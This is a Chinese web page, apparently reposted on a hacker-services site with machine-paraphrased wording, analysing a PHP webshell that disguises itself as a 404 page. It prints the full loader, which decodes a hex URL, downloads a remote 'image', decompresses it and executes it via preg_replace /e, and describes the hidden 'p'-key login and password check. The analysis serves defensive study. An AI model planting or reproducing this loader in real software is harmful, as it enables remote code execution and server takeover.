当前位置:首页 > 黑客业务 > 正文内容

一款奇葩的PHP Webshell后门剖析

访客4年前 (2021-04-14)黑客业务775

 

近来,360网站卫兵安全团队近期捕获一个依据PHP完成的webshell样本,其奇妙的代码动态生成方法,鄙陋的本身页面假装方法,让咱们在剖析这个样本的过程中感受到相当多的趣味。接下来就让咱们一起共赏这个奇葩的Webshell吧。
 

Webshell代码如下:

<?php error_reporting(0); session_start(); header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents( sprintf('%s?%s',pack("H*", '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); @preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null); ?>

要害看下面这句代码,

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这儿履行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真实的代码。最终调用preg_replace的修饰符e来履行歹意代码的。这儿履行以下句子来复原出歹意样本代码,

<?php echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*", '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649)); ?>

如图所示:

剖析这段代码,发现这是一个假装的404木马(这儿实在是太鄙陋了…把页面标题改成404 Not Found),其实整个webshell就一个class外加三个function,如下图:
首要我先看一下它的前端html代码,其中有这么一段js程序

document.onkeydown = function(e) { var theEvent = window.event || e; var code = theEvent.keyCode || theEvent.which; if (80 == code) { $("login").style.display = "block" } }

这儿它用document.onkeydown获取用户敲击键盘事情,当code等于80的时分显现login这个div,这儿查询了一下keyCode的对照表,查到80对应p和P键

所以触发webshell登陆需要按p键(不按P键页面便是一个空白页,看不到登陆框),如图所示:

再回到服务端php代码中,能够看到程序用的是对称加密,而且将登陆暗码作为加密key,代码如图所示:

再看init()的逻辑
如图所示,先看这句代码

$true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63ac0bbec7b494f12cdb02f6dfac3f833731c f093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59′), $_POST['key'], true)));

依据这个解密逻辑咱们能够推出,这儿其实是将字符串true做了以下加密处理,

unpack('H*',Crypt::encrypt(gzcompress(gzcompress('true')), $_POST['key'] , true))

所以当输入正确暗码的时分@gzuncompress回来字符串true,然后程序调用setcookie给客户端回来$_COOKIE['key'],然后值得提一下的是后边这个exit('{"status":"on"}'),这儿它与前端代码联络很严密,咱们看前端有个callback函数,如下

function callback() { var json = eval("(" + this.responseText + ")"); if (json.status=='on'){ window.location.reload(); return; } if (json.notice) { $("notice").style.display = "block"; $("notice").innerHTML = json.notice; sideOut(); } }

这儿履行exit('{"status":"on"}')会回来json串{"status":"on"},此刻前端js代码classback()获取到此响应会履行window.location.reload()改写,再次恳求正好带上前面获取的cookie,然后履行判别COOKIE的逻辑,如图所示:

[1] [2]  黑客接单网

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/106490.html

分享给朋友:

“一款奇葩的PHP Webshell后门剖析” 的相关文章

字节承认商业化团队撤城裁员了

据晋江新闻网2021年10月19日21:00:43的最新发布,微博网友@ 爆料。   平安夜来临之际,事件,在网上炒得沸沸扬扬,引发全网热议!   据悉,黑客追款后来被报道了几次。猜测第六百八十八章逃港者第六百八十九章调侃第六百。相对这个账号是他的。   1.专业网赌追回...

字节承认商业化团队撤城裁员

据晋江新闻网2021年10月19日21:00:43的最新发布,微博网友@ 爆料。 平安夜来临之际,事件,在网上炒得沸沸扬扬,引发全网热议! 据悉,黑客追款后来被报道了几次。猜测第六百八十八章逃港者第六百八十九章调侃第六百。相对这个账号是他的。 1.专业网赌追回律师 首先确保整个真正的黑客追款方案是最...

猪肉怎么选?颜色有区别吗?今天做饭的时候发现上次买的猪肉颜色跟这

猪肉怎么选?颜色有区别吗?今天做饭的时候发现上次买的猪肉颜色跟这 买猪肉时,根据肉的颜色、外观、气味等可以判断出肉的质量是好还是坏。优质的猪肉,脂肪白而硬,且带有香味。肉的外面往往有一层稍带干燥的膜,肉质紧密,富有弹性,手指压后凹陷处立即复原。 次鲜肉肉色较鲜肉暗,缺乏光泽,脂肪呈灰白色;表面带...

今天发生的重大新闻5条,国内新闻最新消息10条

近期发生的额十件大新闻,伊朗重申继续实施核计划。本·拉登被击毙,近期国内外新闻要近期。 被关闭·国家最高科学技术奖揭晓"青藏铁路工程"等获奖·广西陆川一在建楼面坍塌14名工人坠地受伤,文汇报,执政党民族解放党总统,到了主要内容介绍完。 这是初中作业吧!月1日—德国总理默克尔倡议成立联合国经济理事会。...

书黑客,黑客软件破解吃鸡,网站黑客攻击工具

关于较新版别的Windbg,官网已不再支撑独自下载,只能经过Windows SDK里边勾选来装置,不过装置之后Redist目录会有x64/x86/arm的装置包,也可独立装置。 此次评选活动的意图在于,在安全社区中宣扬这些技能,让职业进步对安全的注重,一起也能让这些技能能遭到认可和铭记。 因而,根据...

intense靶场-获取User权限

出品|MS08067实验室(www.ms08067.com) 本文作者:jokelove(Ms08067内网安全小组成员) Intense是HTB中一个难度中上的靶场,需要参与者具备下述能力: 1. Python源码审计 2. SQL注入原理 3. SNMP远程命令执行 4. 栈溢出...

评论列表

弦久原野
3年前 (2022-05-29)

xit('{"status":"on"}'),这儿它与前端代码联络很严密,咱们看前端有个callback函数,如下function callback() {var json = eval("(" + this.responseText + ")");if (json.status=='on'

孤鱼缪败
3年前 (2022-05-29)

b18bb68983b3b47a022002a840c59′), $_POST['key'], true)));依据这个解密逻辑咱们能够推出,这儿其实是将字符串true做了以下加密处理,unpack('H*',Crypt::encrypt(gzcomp

鹿岛葵袖
3年前 (2022-05-29)

而且将登陆暗码作为加密key,代码如图所示:再看init()的逻辑如图所示,先看这句代码$true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63ac0bbec7b494f12cdb02f

瑰颈酒奴
3年前 (2022-05-29)

实在是太鄙陋了…把页面标题改成404 Not Found),其实整个webshell就一个class外加三个function,如下图:首要我先看一下它的前端ht

鸢旧疚爱
3年前 (2022-05-29)

到80对应p和P键所以触发webshell登陆需要按p键(不按P键页面便是一个空白页,看不到登陆框),如图所示:再回到服务端php代码中,能够看到程序用的是对称加密,而且将登陆暗码作为加密key,代码如图所示:再看init()的逻

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。